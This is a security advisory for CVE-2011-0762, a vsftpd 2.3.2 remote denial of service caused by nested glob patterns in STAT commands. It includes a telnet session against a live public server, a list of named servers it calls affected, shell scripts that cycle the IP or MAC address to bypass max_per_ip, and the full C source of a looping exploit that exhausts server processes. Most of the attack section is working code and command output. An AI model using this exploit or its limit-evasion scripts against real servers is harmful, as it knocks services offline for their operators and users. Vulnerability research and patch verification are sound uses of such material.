The vsf_filename_passes_filter function in ls.c in vsftpd before 2.3.3 allows remote authenticated users to cause a denial of service (CPU consumption and process slot exhaustion) via crafted glob expressions in STAT commands in multiple FTP sessions, a different vulnerability than CVE-2010-2632.
[ vsftpd 2.3.2 remote denial-of-service ]
Author: Maksymilian Arciemowicz
http://cxib.net/
Date:
- Dis.: 23.12.2010
- Pub.: 01.03.2011
CVE: CVE-2011-0762
CERT: VU#590604
Fix: vsftpd 2.3.4 (15.02.2011)
Affected Software (verified):
- vsftpd 2.3.2 (NetBSD 5.1)
- vsftpd 2.3.0 (Ubuntu 10.10)
Affected Servers (19.02.2011):
- ftp.gnu.org (2.0.6)
- ftp.kernel.org (2.2.2)
- ftpgen.wip4.adobe.com (2.3.2)
- ftp.oracle.com (2.0.5)
- ftp.freebsd.org (2.2.0)
- more more more...
--- 0.Description ---
vsftpd is a GPL licensed FTP server for UNIX systems, including Linux. It is secure and extremely fast. It is stable.
Don't take my word for it, though. Below, we will see evidence supporting all three assertions. We will also see a list
of a few important sites which are happily using vsftpd. This demonstrates vsftpd is a mature and trusted solution.
--- 1. vsftpd 2.3.2 remote denial-of-service ---
As we can read in "ls.c" vsftpd file...
---
...
* parsing and handling. There is broad potential for any given fnmatch(3)
* implementation to be buggy.
*
* Currently supported pattern(s):
* - any number of wildcards, "*" or "?"
* - {,} syntax (not nested)
...
---
That true but anyone who has changed ftpd bsd daemon to vsftpd to protect before CVE-2010-2632 (glob(3) resource
exhaustion) are in danger. Any code with huge complexity, could allow of denial of service if an affected system
received vulnerable pattern. This bug allow to disable wide range of servers. To designate vulnerable servers, we have
to used pattern with medium complexity.
-Example affected server---
cx@cx64:~$ telnet ftp.gnu.org 21
Trying 140.186.70.20...
Connected to ftp.gnu.org.
Escape character is '^]'.
220 GNU FTP server ready.
USER anonymous
PASS abra@cadabra.abw
STAT {{*},....}
...
230 Login successful.
230 Already logged in.
213-Status follows:
-Example affected server---
Execution time may have wide range depending on the length of pattern:
empty 2388 97.3 0.0 37980 1352 ? R Dec23 222:42 /usr/sbin/vsftpd
222m and counting...
so any next {{*},Recursion} will increment the complexity. Let's see what is wrong and where. In vsftpd the main problem
exists in ls.c.
-ls.c--
int
vsf_filename_passes_filter(const struct mystr* p_filename_str,
const struct mystr* p_filter_str)
{
...
else if (last_token == '{')
{
struct str_locate_result end_brace =
str_locate_char(&filter_remain_str, '}');
must_match_at_current_pos = 1;
if (end_brace.found)
{
str_split_char(&filter_remain_str, &temp_str, '}');
str_copy(&brace_list_str, &filter_remain_str);
str_copy(&filter_remain_str, &temp_str);
str_split_char(&brace_list_str, &temp_str, ',');
while (!str_isempty(&brace_list_str))
{
str_copy(&new_filter_str, &brace_list_str);
str_append_str(&new_filter_str, &filter_remain_str);
if (vsf_filename_passes_filter(&name_remain_str, &new_filter_str)) <===== LIMIT THIS CALL
{
ret = 1;
...
-ls.c--
Code:
if (vsf_filename_passes_filter(&name_remain_str, &new_filter_str)) <===== LIMIT THIS CALL
this call should be limited, and in version 2.3.4 has been fixed.
A simple way to show growth in computing power ...
(1*2*3*4*...*count(vsf_filename_passes_filter complexity)) == count(vsf_filename_passes_filter complexity)!
Compare two patterns and see different between
STAT
{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},
{{*},{.}}}}}}}}}}}}}}}}}}}}}}}}}}
and add next {*,...}
STAT
{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},
{{*},{{*},{.}}}}}}}}}}}}}}}}}}}}}}}}}}}
and in the end, compare:
STAT
{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},
{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},
{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},
{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
}}}}}}}}}}
hovever in vsftpd, command lenght is allowed to 4096 bytes. So it's no problem to create request with a huge complexity
To bypass max_per_ip, use ISP with dynamic ip. Disconnect and connect (example for bt mobile phone):
cx@cx64:~$ hciconfig hci0 down
cx@cx64:~$ hciconfig hci0 up
and connect again.
---PoC---
Download vspoc232.c and compile, then create some script to changing your ip (netbsd51: pcn0)
-change.sh; change ip by mac(local dos)---
#!/bin/sh
# example change ip script
ifconfig pcn0 down
/etc/rc.d/dhclient stop
ifconfig pcn0 link 00:0c:0c:0c:$1:$2 active
dhclient pcn0
/etc/rc.d/dhclient start
ifconfig pcn0 up
-change.sh; change ip by mac(local dos)---
or use mobile phone via bluetooth.
-change.sh; conn-diss bt---
#!/bin/sh
# example change ip script
hciconfig hci0 down
hciconfig hci0 up
-change.sh; conn-diss bt---
then run.sh
-run.sh---
#!/bin/sh
# vsftpd exploit with change ip option
# sh run.sh [ip] [port] [user] [password]
mac=0;
echo "vsftpd exploit";
while [ $mac != 0xff ]; do {
mac=`expr $mac + 1`;
./vspoc232 $1 $2 $3 $4
sh ./change.sh 66 $mac
} done
-run.sh---
then run and see result
sh ./run.sh 172.5.0.129 21 cx pass
on my local netbsd5.1 (default instalation), we reach to limit and no more new processes (DoS).
Result (forked dos):
cx@cx64:~$
USER PID %CPU %MEM VSZ RSS TTY STAT STARTED TIME COMMAND
...
root 149 0.0 0.1 2932 1152 ? Is 2:31AM 0:00.01 vsftpd /usr/pkg/e
cx 150 0.0 0.2 2956 1592 ? R 2:32AM 0:01.22 vsftpd /usr/pkg/e
cx 160 0.3 0.2 2956 1592 ? R 2:31AM 0:01.48 vsftpd /usr/pkg/e
cx 161 0.2 0.2 2956 1592 ? R 2:32AM 0:01.03 vsftpd /usr/pkg/e
root 258 0.0 0.1 2932 1152 ? Is 2:32AM 0:00.01 vsftpd /usr/pkg/e
root 278 0.0 0.1 2932 1152 ? Is 2:32AM 0:00.02 vsftpd /usr/pkg/e
cx 289 0.0 0.2 2956 1592 ? R 2:32AM 0:00.97 vsftpd /usr/pkg/e
cx 321 0.0 0.2 2956 1592 ? R 2:32AM 0:00.85 vsftpd /usr/pkg/e
...
root 5139 0.0 0.1 2932 1164 ? Is 2:35AM 0:00.01 vsftpd /usr/pkg/e
root 5145 0.0 0.1 2932 1164 ? Is 2:35AM 0:00.02 vsftpd /usr/pkg/e
root 5156 0.0 0.1 2932 1164 ? Is 2:35AM 0:00.01 vsftpd /usr/pkg/e
root 5159 0.0 0.1 2932 1164 ? Is 2:35AM 0:00.01 vsftpd /usr/pkg/e
cx 5170 0.0 0.2 2956 1608 ? R 2:35AM 0:00.44 vsftpd /usr/pkg/e
root 5190 0.0 0.1 2932 1168 ? Is 2:35AM 0:00.01 vsftpd /usr/pkg/e
cx 5192 0.0 0.2 2956 1612 ? R 2:35AM 0:00.39 vsftpd /usr/pkg/e
cx 5242 0.0 0.2 2956 1612 ? R 2:35AM 0:00.39 vsftpd /usr/pkg/e
cx 5250 0.0 0.2 2956 1612 ? R 2:35AM 0:00.49 vsftpd /usr/pkg/e
root 7199 0.0 0.1 2932 1164 ? Is 2:35AM 0:00.01 vsftpd /usr/pkg/e
cx 7248 0.0 0.2 2956 1612 ? R 2:35AM 0:00.63 vsftpd /usr/pkg/e
root 7256 0.0 0.1 2932 1168 ? Is 2:35AM 0:00.01 vsftpd /usr/pkg/e
root 7276 0.0 0.1 2932 1168 ? Is 2:35AM 0:00.01 vsftpd /usr/pkg/e
bypassing max_per_ip we have created more than 5000 vsftdp children processes.
cx@cx64:~$ telnet 172.5.0.129 21
Trying 172.5.0.129...
Connected to 172.5.0.129.
Escape character is '^]'.
500 OOPS: fork
Connection closed by foreign host.
--- 2. Exploit ---
http://cxib.net/stuff/vspoc232.c
--- 3. Fix ---
ftp://vsftpd.beasts.org/users/cevans/untar/vsftpd-2.3.4/Changelog
ftp://vsftpd.beasts.org/users/cevans/vsftpd-2.3.4.tar.gz
ftp://vsftpd.beasts.org/users/cevans/vsftpd-2.3.4.tar.gz.asc
--- 4. Greets ---
Chris Evans
--- 5. Contact ---
Author: Maksymilian Arciemowicz
============================漏洞利用源程序======================================
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
/*
This is code of
http://cxib.net/stuff/vspoc232.c
PoC CVE-2011-0762 ( vsftpd )
Remote Denial of Service
Affected Version: 2.3.2
Fix: 2.3.4
Author:
Maksymilian Arciemowicz
Use:
./vspoc232 127.0.0.1 21 user pass 1
or read
http://securityreason.com/achievement_securityalert/95
for more information
Example result:
cx@cx64:~$ telnet 172.5.0.129 21
Trying 172.5.0.129...
Connected to 172.5.0.129.
Escape character is '^]'.
500 OOPS: fork
Connection closed by foreign host.
*/
int skip=0;
int sendftp(int stream,char *what){
if(-1==send(stream,what,strlen(what),0))
printf("Can't send %s\n",what);
else
printf("send: %s\n",what);
bzero(what,sizeof(what));
}
void readftp(int stream){
char readline[4096];
if(recv(stream,readline,4096,0)<1)
if(!skip) exit(1); // end
else
printf("recv: %s\n",readline);
}
int sendstat(host,port,login,pass)
char *host,*port,*login,*pass;
{
char buffer[4097]; // send ftp command buffor
int sockfd,n,error;
struct addrinfo hints;
struct addrinfo *res, *res0;
memset(&hints, 0, sizeof(hints));
hints.ai_family = PF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
error = getaddrinfo(host,port,&hints,&res0);
if (error){
errorcon:
printf("Can`t connect :%d\n.exit", error);
exit(1);
}
if((sockfd=socket(res0->ai_family,res0->ai_socktype, res0->ai_protocol))<0) goto errorcon;
if(-1==connect(sockfd,res0->ai_addr,res0->ai_addrlen)) goto errorcon;
readftp(sockfd);
snprintf(buffer,4096,"USER %s\nPASS %s\n\n",login,pass);
sendftp(sockfd,buffer);
readftp(sockfd);
snprintf(buffer,4096,"STAT {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}\n");
printf("%s", buffer);
sendftp(sockfd,buffer);
freeaddrinfo(res0);
}
int main(int argc,char *argv[])
{
char *login,*pass,logindef[]="anonymous",passdef[]="cxib.net@127.0.0.1";
if(argc<3){
printf("\nUse: ./vspoc232 host port [username] [password] [option]\nhost and port are requied\nuse option = 1 to skip recv() fails\n\nexample:\n./vspoc232 127.0.0.1 21 user pass 1\n\n");
exit(1);
}
char *host=argv[1];
char *port=argv[2];
if(4<=argc) login=argv[3];
else login=logindef;
if(5<=argc) pass=argv[4];
else pass=passdef;
if(6<=argc) skip=1;
while(1){
printf("----------------------------- next\n");
sendstat(host,port,login,pass);
sleep(1); // some delay to be sure
}
return 0; // never happen
}